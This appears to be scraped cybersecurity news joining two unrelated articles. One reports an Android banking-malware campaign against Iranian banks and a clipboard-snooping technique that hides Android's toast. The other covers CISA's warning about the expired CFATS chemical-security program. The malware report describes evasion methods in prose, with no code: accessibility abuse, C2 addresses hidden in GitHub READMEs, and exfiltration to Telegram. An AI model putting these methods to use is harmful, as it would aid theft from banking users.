An Android malware campaign targeting Iranian banks has expanded its capabilities and incorporated additional evasion tactics to fly under the radar.
That's according to a new report from Zimperium, which discovered more than 200 malicious apps associated with the malicious operation, with the threat actor also observed carrying out phishing attacks against the targeted financial institutions.

Mobile Security / Malware

An Android malware campaign targeting Iranian banks has expanded its capabilities and incorporated additional evasion tactics to fly under the radar.

That's according to a new report from Zimperium, which discovered more than 200 malicious apps associated with the malicious operation, with the threat actor also observed carrying out phishing attacks against the targeted financial institutions.

The campaign first came to light in late July 2023 when Sophos detailed a cluster of 40 credential-harvesting apps targeting customers of Bank Mellat, Bank Saderat, Resalat Bank, and Central Bank of Iran.

The primary goal of the bogus apps is to trick victims into granting them extensive permissions as well as harvest banking login credentials and credit card details by abusing Android's accessibility services.

"The corresponding legitimate versions of the malicious apps are available at Cafe Bazaar, an Iranian Android marketplace, and have millions of downloads," Sophos researcher Pankaj Kohli said at the time.

"The malicious imitations, on the other hand, were available to download from a large number of relatively new domains, some of which the threat actors also employed as C2 servers."

Interestingly, some of these domains have also been observed to serve HTML phishing pages designed to steal credentials from mobile users.

The latest findings from Zimperium illustrate continued evolution of the threat, not only in terms of a broader set of targeted banks and cryptocurrency wallet apps, but also incorporating previously undocumented features that make it more potent.

This includes the use of the accessibility service to grant it additional permissions to intercept SMS messages, prevent uninstallation, and click on user interface elements.

Some variants of the malware have also been found to access a README file within GitHub repositories to extract a Base64-encoded version of the command-and-control (C2) server and phishing URLs.

"This allows attackers to quickly respond to phishing sites being taken down by updating the GitHub repository, ensuring that malicious apps are always getting the latest active phishing site," Zimperium researchers Aazim Yaswant and Vishnu Pratapagiri said.

Another noteworthy tactic is the use of intermediate C2 servers to host text files that contain the encoded strings pointing to the phishing sites.

While the campaign has so far trained its eyes on Android, there is evidence that Apple's iOS operating system is also a potential target based on the fact that the phishing sites verify if the page is opened by an iOS device, and if so, direct the victim to a website mimicking the iOS version of the Bank Saderat Iran app.

It's currently not clear if the iOS campaign is under development stages, or if the apps are distributed through an, as of yet, unidentified source.

The phishing campaigns are no less sophisticated, impersonating the actual websites to exfiltrate credentials, account numbers, device models, and IP addresses to two actor-controlled Telegram channels.

"It is evident that modern malware is becoming more sophisticated, and targets are expanding, so runtime visibility and protection are crucial for mobile applications," the researchers said.

The development comes a little over a month after Fingerprint demonstrated a method by which malicious Android apps can stealthily access and copy clipboard data by leveraging the SYSTEM\_ALERT\_WINDOW permission to obscure the toast notification that's displayed when a particular app is reading clipboard data.

"It's possible to overdraw a toast either with a different toast or with any other view, completely hiding the original toast can prevent the user from being notified of clipboard actions," Fingerprint said. "Any application with the SYSTEM\_ALERT\_WINDOW permission can read clipboard data without notifying the user."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

200+ Malicious Apps on Iranian Android Store Installed by Millions of Banking Users

Dropping the ball on chemical security has precipitated "a national security gap too great to ignore," CISA warns.

Source: TTstudio via Alamy Stock Photo

CISA warned this week that facilities maintaining dangerous chemicals across the US are no longer receiving adequate security support.

Compared with such industries as energy, water, and telecoms, cybersecurity professionals tend to be less au courant with the chemicals sector, despite the physical and cybersecurity threats it faces.

CISA used to plug that gap with its Chemical Facility Anti-Terrorism Standards (CFATS). In CISA's own words, CFATS "identifies and regulates high-risk facilities to ensure security measures are in place to reduce the risk that certain dangerous chemicals are weaponized by terrorists." But on July 28, Congress allowed the statutory authority of the CFATS program to expire.

Yesterday, in a blog marking the fourth monthiversary of that decision, CISA associate director for chemical security Kelly Murray warned that "the absence of the CFATS program is a national security gap too great to ignore," likely leading to security gaps, unsafe conditions, and possibly even access by a terrorist.

**Terrorist Threats to the Chemicals Industry**

There are four primary pillars to CFATS, each with an important security function.

Firstly, CISA has screened over 40,000 chemical facilities through the program, identifying 3,200 of them as high-risk. With four months of downtime, the agency estimates that at least 200 new facilities have likely acquired dangerous chemicals, and that "facilities could be stockpiling these chemicals in excess of their existing security precautions, increasing the risk of terrorist exploitation."

Equally, through CFATS, CISA worked with facilities to identify risks to them and their surroundings, and develop cyber and physical safety plans to mitigate those risks, improving their security postures by around 60%. As Murray explained, approximately one third of CISA's site visits historically tended to reveal security gaps, thus "we can safely estimate that hundreds of security gaps have gone unidentified since July."

Perhaps most importantly, chemical facilities used CFATS to run personnel against a Terrorist Screening Database. CISA used to vet an average of 9,000 names per month, flagging in all more than 10 individuals with terrorist ties. At these rates, Murray estimated, its missed screenings "likely would have identified an individual with or seeking access to dangerous chemicals as a known or suspected terrorist at some point over the past four months."

Lastly, CFATS was designed to help the chemical industry stay ahead of the evolving threat landscape, both from a physical and cyber standpoint. "Prior to the lapse in authority, this process was going to be further enhanced by a proposed rulemaking effort to enhance the physical and cybersecurity standards required of CFATS," Murray explained, though now no longer.

Murray ended the letter with a call to Congress to reinstate CFATS. "This is a resolution we cannot afford to break," she concluded.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Tag

#apple